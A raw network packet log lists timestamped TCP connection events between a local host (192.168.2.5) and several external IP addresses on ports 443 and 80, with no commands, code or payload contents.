Nov 5, 2024 10:13:47.092183113 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.092233896 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.092242002 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.092334986 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.100789070 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.102585077 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.102658033 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.102665901 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.105564117 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.105629921 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.105635881 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.136466026 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.137434006 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.137469053 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.137875080 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.137885094 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.151309967 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.151372910 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.163067102 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.163084030 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.163310051 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.163676977 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.163721085 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.163746119 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.194833040 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.194866896 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.194988012 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.194998026 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.195219040 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.197261095 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.197746992 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.197784901 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.198266029 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.198275089 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.198761940 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.198829889 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.199418068 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.199425936 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.207571983 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.207802057 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.207808971 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.208182096 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.208941936 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.208956003 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.209481001 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.209486008 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.211458921 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.213166952 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.213186026 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.213713884 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.213717937 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.214245081 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.214323044 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.214376926 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.216403961 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.217763901 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.217782021 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.217830896 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.217837095 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.220906973 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.221396923 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.221405029 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.228216887 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.228265047 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.228521109 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.229854107 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.229873896 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.265959978 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.266160011 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.266174078 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.275878906 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.276098013 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.276470900 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.276563883 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.276585102 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.276596069 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.276601076 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.278836012 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.278870106 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.278945923 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.279108047 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.279120922 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.306184053 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.306530952 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.306566000 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.307463884 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.307527065 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.307568073 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.308012962 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.309293985 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.309360981 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.309473038 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.309483051 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.309828043 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.309850931 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.310178041 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.310184956 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.310204029 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.310225964 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.310235977 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.310743093 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.310796022 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.311079979 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.311126947 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.312855005 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.312977076 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.314640045 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.314724922 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.314729929 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.315843105 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.315850019 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.316087961 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.316162109 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.316509008 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.316524029 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.325588942 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.325644016 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.325650930 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.332230091 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.332284927 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.332292080 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.336592913 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.336675882 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.336682081 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.339334011 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.339360952 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.339405060 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.339478970 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.339678049 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.339698076 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.339710951 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.339716911 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.342483044 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.342508078 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.344796896 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.345046043 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.345056057 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.351022959 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.351751089 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.351797104 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.351830006 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.351836920 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.351871967 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.351876020 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.352346897 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.352400064 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.352452993 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.352674007 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.352688074 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.352696896 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.352703094 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.354548931 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.354577065 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.354648113 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.354820013 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.354830980 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.355355024 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.355364084 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.355545044 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.355734110 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.355746984 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.381638050 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.386868954 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.386879921 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426306963 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426342010 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426369905 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.426372051 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426383018 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426420927 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.426428080 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.426531076 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.429655075 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.438555002 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.438637972 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.439143896 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.439162970 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.440478086 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440515995 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440547943 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440558910 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.440565109 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440588951 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.440697908 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.440754890 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440820932 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.440871000 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.440871000 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.446721077 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.446787119 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.447000980 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.447048903 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.447073936 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.447082996 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.447318077 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.447338104 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.568595886 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.691824913 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.691881895 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.698503971 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.698515892 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.698525906 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:47.698530912 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:47.766592026 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.766644001 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.766752005 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.766797066 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.766834021 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.766853094 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.767188072 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.767204046 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.767390966 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.767407894 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.781403065 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.781443119 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.781641960 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.781675100 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.781738997 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.782221079 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.782649994 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.782664061 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.783097982 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:47.783113003 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:47.863162994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:47.863266945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:48.002047062 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.015583038 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.015611887 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.016043901 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.016048908 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.020772934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:48.026835918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:48.048019886 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.048557997 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.048577070 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.049417973 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.049422979 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.112396002 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.112916946 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.112956047 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.113652945 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.113662958 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.125191927 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.126126051 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.126528025 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.126559973 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.127037048 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.127043009 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.127423048 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.127432108 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.127921104 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.127926111 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.130983114 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131014109 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.131072998 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131335974 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131372929 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.131541967 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131556034 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.131577969 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131768942 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.131782055 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.150808096 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.150934935 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.151031971 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.152473927 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.152489901 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.152503967 CET	49942	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.152508974 CET	443	49942	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.154988050 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.155014038 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.155065060 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.155339003 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.155349970 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.190063000 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.190135002 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.190428972 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.193350077 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.193371058 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.193384886 CET	49943	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.193389893 CET	443	49943	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.199604034 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.199637890 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.199697971 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.199723959 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.199784994 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.199893951 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.199964046 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.199985981 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.200067997 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.200239897 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.200248957 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.200377941 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.200387001 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.200886965 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.200915098 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.247463942 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.247498989 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.247639894 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.247668028 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.247708082 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.247713089 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.247735977 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.247762918 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.247920036 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.247936964 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.249406099 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.249423027 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.249433041 CET	49945	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.249439001 CET	443	49945	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.251983881 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.252008915 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.252065897 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.252991915 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.253004074 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.264187098 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.264309883 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.264347076 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.265188932 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.265217066 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.265217066 CET	49946	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.265228987 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.265239000 CET	443	49946	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.270255089 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.270275116 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.270433903 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.270443916 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.270472050 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.270523071 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274085045 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274091959 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.274101019 CET	49944	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274105072 CET	443	49944	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.274143934 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274168968 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.274763107 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274913073 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.274928093 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.277079105 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.277100086 CET	443	49960	13.107.253.45	192.168.2.5
